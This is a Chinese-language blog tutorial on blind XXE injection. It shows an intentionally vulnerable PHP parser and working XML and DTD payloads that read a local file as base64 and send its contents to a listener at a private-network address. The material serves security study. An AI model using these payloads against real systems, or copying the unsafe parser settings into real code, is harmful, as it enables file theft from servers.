Blind XXE

又到了惊心动魄的XXE学习下篇了!!

Blind XXE

Normal XXE之后。又到了Blind XXE了。Blind XXE即无回显注入,废话不多说了。直接上代码

先来两个文件
3.php

<?php
    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('1.xml');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
?>

1.xml

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE xxe[
	
	<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///f:/1.txt" >
	<!ENTITY % remote SYSTEM "http://192.168.34.80:9999?p=123" >
	%remote;
]>

3.php文件我就不多说了,大家都清楚,相当于解析xml的一个接口。

分析一下1.xml文件

  1. <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///f:/1.txt" >既有外部实体也是参数实体,file的值是1.txt的内容经过base64编码的后的。
    为什么要编码呢?因为1.txt中可能有一些特殊字符,会让xml报错。所以用b64编码
  2. <!ENTITY % remote SYSTEM "http://192.168.34.80:9999?p=123" >既有外部实体也是参数实体,当调用remote的时候,会向网址发出一个请求携带参数123。

访问3.php

结果
在这里插入图片描述

成功得到参数p的值。

这样只能传死值。也就不会变的值。我们想要某个文件的内容该怎么办?
这样改下,file就是1.txt的b64加密后的内容

在这里插入图片描述
%file;即调用了file。
访问3.php

在这里插入图片描述

完美的报错。
为什么会报错????

查阅xml规范文档时,才知道,不能在实际的标记语言中调用参数实体。这里你可能不明白。推荐一个视频https://www.bilibili.com/video/av60413004?t=1085

在这里插入图片描述
意思就是不能在xml文件中,直接在值中调用参数实体。

解决办法

创建一个1.dtd文件,这个文件就是xml文件中的DTD。上面说不能在实际的标记语言中调用参数实体,那我们就将不能调用的放到1.dtd文件中,因为dtd文件不是标记语言(个人理解,有错请指出)

修改一下1.xml

<?xml version="1.0" ?>

<!DOCTYPE xxe[
	<!ENTITY % remote SYSTEM "http://192.168.34.69/1.dtd" >
	%remote;%int;%send;
]>

1.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///f:/1.txt" >
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.34.80:9999?p=%file;'>">

结果

在这里插入图片描述

分析

在这里插入图片描述
在这里插入图片描述

这里得说一下&#37;,为什么这里是&#37呢?因为这是%经过实体编码后的,为什么要实体编码?问的好,xml语法会将%当做调用参数实体,所以会报语法错误。

参考:https://xz.aliyun.com/t/3357#toc-11

发布了38 篇原创文章 · 获赞 8 · 访问量 2108

猜你喜欢

转载自blog.csdn.net/qq_41918771/article/details/103641745
xxe